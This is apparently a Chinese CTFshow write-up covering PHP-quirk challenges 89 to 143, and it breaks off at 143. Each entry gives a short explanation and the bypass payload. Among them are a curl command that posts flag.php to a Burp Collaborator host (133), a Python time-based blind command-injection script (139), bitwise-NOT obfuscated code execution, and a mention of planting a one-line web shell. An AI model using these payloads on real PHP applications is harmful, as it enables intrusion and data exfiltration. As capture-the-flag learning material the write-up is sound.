CTFshowPHP特性
89
数组绕过
intval()用于获取变量的整数值
intval() 函数通过使用指定的进制base转换(默认是十进制),返回变量var的integer数值。intval()不能用于object,否则会产生E_NOTICE错误并返回1。
语法
int intval ( mixed $var [, int $base = 10 ] )
90
十六进制
91
if(preg_match('/^php$/im', $a)){
if(preg_match('/^php$/i', $a)){
echo 'hacker';
}
//m代表多行匹配,换行符加php即可
//cmd=%0Aphp
92
同90
93
滤了16进制,使用8进制绕过
?num=010574
94
全等用小数绕过
?num=4476.01
95
小数点没了,用八进制加正号绕过0过滤
?num=+010574
96
?u=./flag.php
97
md5强相等数组绕过
a[]=1&b[]=2
98
分析代码
3. $_GET?$_GET=&$_POST:'flag';
if ($_GET) { //只要有输入的get参数
$_GET = &$_POST; //就将get方法改变为post方法(修改了get方法的地址)
// 比如$_GET[a] = &$_POST[a],get传a无作用,必须用POST
} else {
"flag";
}
4、5行无作用
6. highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);
if ($_GET['HTTP_FLAG'] == 'flag') { //需要满足这个条件就可以输出flag
highlight_file($flag); //因为没有ctfshow{xxxxx}这个文件,所以会产生报错
//进而我们可以看到flag内容
} else {
highlight_file(__FILE__);
}
构造POST
HTTP_FLAG=flag
再添加任意get参数即可
99
in_array函数如果不设置strict参数为真则进行若比较,1.php==1
payload:n=1.php
POST
content=一句话木马
100
在PHP中,=赋值运算符优先级高于and,所以语句执行是v0=is_numeric(v1),传入v1为数字即可
?v1=1&v2=var_dump($ctfshow)&v3=;
101
反射类
顾名思义,就是一个类的反射(废话么不是)
下面是例子
class fuc { //定义一个类
static
function ec() {
echo '我是一个类';
}
}
$class=new ReflectionClass('fuc'); //建立 fuc这个类的反射类
$fuc=$class->newInstance(); //相当于实例化 fuc 类
$fuc->ec(); //执行 fuc 里的方法ec
$ec=$class->getmethod('ec'); //获取fuc 类中的ec方法
$fuc=$class->newInstance(); //实例化
$ec->invoke($fuc); //执行ec 方法
Payload
?v1=1&v2=echo new Reflectionclass&v3=;
102
先转base64再转16进制完成绕过
103
同上
104
没验证直接传俩一样的呗
105
foreach($_GET as $key => $value){
if($key==='error'){
die("what are you doing?!");
}
$$key=$$value;
}foreach($_POST as $key => $value){
if($value==='flag'){
die("what are you doing?!");
}
$$key=$$value;
}
多种操作方法
通过die($error)输出
payload:a=flag
POST: error=a
进行的操作为
$a=$flag;
$error=$a;
此时$a=flag{test123};$error=flag{test123};从而输出error也就是输出flag
通过die($suces)
payload:suces=flag&flag=
进行的操作为
$suces=$flag;
106
构造数组或弱相等绕过
aaroZmOk
aaK1STfY
aaO8zKZF
aa3OFF9m
107
parse_str函数,将字符串解析成多个变量
$a="x=1&y=2";
parse_str($a,$b);
此时$b['x']为1,$b['y']为2
paylaod:?v3=1
POST
v1=flag=c4ca4238a0b923820dcc509a6f75849b
108
正则表达式%00截断,正则表达式只会匹配%00之前的内容
strrev()//反转字符串
intval()//取整数
payload:?c=a%00778
109
eval("echo new $v1($v2());");
//构造使得v1名称的类存在后面任意构造即可
110
FilesystemIterator类的使用
$a=new FilesystemIterator(getcwd());
while($a->valid()){
echo $a->getFilename()."\n";
$a->next();
}
迭代输出当前目录下的内容
getcwd()//取得当前工作目录
111
v1要在正则中等于ctfshow,执行的语句就是
$ctfshow=&$(v2的值);
var_dump($ctfshow);
相当于执行了
var_dump($(v2的值));
令v2=GLOBALS超全局变量即可将所有变量打印
payload:?v1=ctfshow&v2=GLOBALS
112
URL二次编码,题目中把base64滤过了,对b进行二次URL编码即可,传入php时进行一次解码,调用php伪协议时再有一次
113
压缩流读取
payload:?file=compress.zlib:///var/www/html/flag.php
114
php://filter
115
在数字前加上空格,也会被is_numeric函数认为是数字
trim函数会过滤空格以及\n\r\t\v\0
,但不会过滤\f
最终payload:urlencode(“\f”.36)
123
PHP变量名应该只有数字字母下划线,同时GET或POST方式传进去的变量名,会自动将空格,+,.,[转换为_,但是当有特殊字符[时,后面的内容中就不会替换了
payload:
POST:
CTF_SHOW=1&CTF[SHOW.COM=1&fun=echo $flag
125
CTF_SHOW=1&CTF[SHOW.COM=1&fun=var_export(get_defined_vars())
CTF_SHOW=1&CTF[SHOW.COM=1&fun=highlight_file($_GET[1])
?1=flag.php
126
1、cli模式(命令行)下
第一个参数$_SERVER['argv'][0]是脚本名,其余的是传递给脚本的参数
2、web网页模式下
在web页模式下必须在php.ini开启register_argc_argv配置项
设置register_argc_argv = On(默认是Off),重启服务,$_SERVER[‘argv’]才会有效果
这时候的$_SERVER[‘argv’][0] = $_SERVER[‘QUERY_STRING’]//这里的这个参数就是GET请求中?后的内容
$argv,$argc在web模式下不适用
payload:?$fl0g=flag_give_me;
CTF_SHOW=1&CTF[SHOW.COM=1&fun=eval($a[0])
127
前面的自动转换咯
128
小知识点: _()是一个函数
_()==gettext() 是gettext()的拓展函数,开启text扩展。需要php扩展目录下有php_gettext.dll
get_defined_vars()函数
get_defined_vars — 返回由所有已定义变量所组成的数组 这样可以获得 $flag
payload: ?f1=_&f2=get_defined_vars
129
目录穿越
payload:?f=/ctfshow/../../../../var/www/html/flag.php
130
正则/.+?ctfshow/is
stripos($f, ‘ctfshow’) === FALSE
stripos返回位置从0开始,未查找到才返回false,在严格相等中不相等
直接绕
f=ctfshow
131
传个超过一百万长度的字符就好啦
f='kkkk'*250000+'36Dctfshow'
#python真好用
132
robots.txt进admin
对于“与”(&&) 运算: x && y 当x为false时,直接跳过,不执行y;
对于“或”(||) 运算 : x||y 当x为true时,直接跳过,不执行y。
在判断这个的时候if($code === mt_rand(1,0x36D) && $password === $flag || $username ===”admin”) 第一个$code === mt_rand(1,0x36D)为false,之后就执行|| $username ===”admin”
后面有或,所以满足username===’admin’即可
payload:/admin/?code=admin&password=&username=admin
133
我们传递?F=`$F`;+sleep 3好像网站确实sleep了一会说明的确执行了命令
**那为什么会这样?**
因为是我们传递的`$F`;+sleep 3。先进行substr()函数截断然后去执行eval()函数
这个函数的作用是执行php代码,``是shell_exec()函数的缩写,然后就去命令执行。
而$F就是我们输入的`$F`;+sleep 3 使用最后执行的代码应该是
`$F`;
$F变量内容就是我们最终执行的内容
使用一把burp自带的功能,Burp Collaborator,相较于DNSLog的好处就是可以带出POST信息,也可以携带Cookie
还有curl命令的使用
payload:?F=`$F`;+curl -X POST -F xx=@flag.php http://whhi73p89wxl0oghis6zcslnue04ot.burpcollaborator.net
![](https://jlan-blog.oss-cn-beijing.aliyuncs.com/截屏2022-04-09 15.18.07.png)
134
php变量覆盖 利用点是 extract($_POST); 进行解析$_POST数组。 先将GET方法请求的解析成变量,然后在利用extract() 函数从数组中将变量导入到当前的符号表。
payload: ?_POST[key1]=36d&_POST[key2]=36d
135
同之前或者直接mv改名
payload:?F=`$F`;+mv flag.php flag.txt;
136
ban了一堆命令,需要回显,使用Linux tee命令
Tee是Linux命令,用于显示程序的输出并将其复制到一个文件中。
命令|tee 输出文件
payload:?c=tac /f149_15_h3r3|tee 1
查看/1文件即可
137
call_user_func()来调用一个类里面的方法时,使用::如class::function
payload:
POST
ctfshow=ctfshow::getFlag
138
调用还能传数组
payload:
POST
ctfshow[]=ctfshow&ctfshow[]=getFlag
139
自动跳转我谢谢你啊
我是真妹想到这玩意还能盲注
import requests
import time
import string
str=string.digits+string.ascii_lowercase+"-"#获取小写字母与数字
result=""
key=0
for j in range(1,45):
print(j)
if key==1:
break
for n in str:
payload="if [ `cat /f149_15_h3r3|cut -c {0}` == {1} ];then sleep 3;fi".format(j,n)
#print(payload)
url="http://13f3a3cd-22e6-4922-a7eb-431f62263a4f.challenge.ctf.show/?c="+payload
try:
requests.get(url,timeout=(2.5,2.5)) #time()第一个参数是响应时间,第二个是读取时间
except:
result=result+n
print(result)
break
140
intval把字符串转成0,0==’字符串’结果为真
找俩函数返回值为字符串就行
payload:
POST
f1=md5&f2=phpinfo
141
使用取反法
payload:
?v1=1&v3=-(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%D5);-&v2=1
142
各种进制取零就行
143
过滤了取反字符,